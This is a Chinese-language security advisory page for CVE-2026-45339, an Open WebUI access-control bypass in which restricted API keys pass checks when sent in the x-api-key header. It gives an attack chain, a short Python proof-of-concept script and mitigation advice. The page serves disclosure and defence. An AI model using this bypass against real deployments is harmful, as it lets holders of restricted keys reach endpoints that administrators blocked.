IPBUF安全漏洞报告
English
CVE-2026-45339 CVSS 6.5 中危

CVE-2026-45339 Open WebUI 访问控制绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45339
漏洞类型
访问控制绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

访问控制绕过Open WebUIAPI安全权限提升

漏洞概述

Open WebUI 在 0.9.0 版本之前存在访问控制绕过漏洞。管理员限制 API 密钥对特定端点的访问时,系统存在逻辑缺陷。虽然通过 Authorization Bearer 头的请求会被正确拦截,但使用 x-api-key 头的请求可以绕过限制。攻击者利用此漏洞可使用受限密钥调用模型并获取响应,导致数据泄露。

技术细节

该漏洞源于 Open WebUI 在处理 API 身份验证时的逻辑缺陷。虽然管理员可以限制 API 密钥对特定端点(如 /api/v1/messages)的访问,但这种限制并未在所有认证路径上生效。具体而言,当受限密钥通过标准的 Authorization: Bearer 头部发送时,系统会正确识别并拦截请求(返回 403)。然而,当该密钥通过 x-api-key 头部发送时,系统虽然验证了密钥的有效性,却跳过了针对该端点的权限检查逻辑。这使得攻击者能够通过简单的请求头替换,绕过管理员设定的安全策略,利用受限密钥成功调用 AI 模型并获取完整响应。由于漏洞触发仅需网络访问且无需用户交互,攻击者一旦获取受限密钥即可导致数据泄露或完整性破坏。

攻击链分析

STEP 1
1. 获取凭证
攻击者获取一个被限制访问特定端点(如 /api/v1/messages)的 API 密钥。
STEP 2
2. 构造请求
攻击者构造针对受限端点的 HTTP POST 请求。
STEP 3
3. 绕过验证
攻击者不使用标准的 Authorization Bearer 头,而是将 API 密钥放置于 x-api-key 请求头中。
STEP 4
4. 执行攻击
服务器接收请求,验证密钥有效性但忽略权限限制,成功调用模型并返回数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def verify_vulnerability(target_url, api_key): """ This script verifies the access control bypass vulnerability in Open WebUI. It attempts to access a restricted endpoint using the x-api-key header. """ restricted_endpoint = f"{target_url}/api/v1/messages" # Payload for the API request payload = { "model": "default-model", "messages": [{"role": "user", "content": "test"}] } # Headers to test bypass headers = { "Content-Type": "application/json", "x-api-key": api_key # Vulnerable header } try: response = requests.post(restricted_endpoint, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Vulnerability Confirmed: Request bypassed restriction.") print(f"[+] Response: {response.text}") elif response.status_code == 403: print("[-] Access Denied: Restriction is working correctly.") else: print(f"[?] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" key = "sk-restricted-key-example" verify_vulnerability(target, key)

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即将 Open WebUI 升级至 0.9.0 版本。在无法立即升级的情况下,应严格监控 API 日志,查找使用 x-api-key 头部的异常请求,并考虑在 WAF 或反向代理层面对 /api/v1/messages 端点进行额外的访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表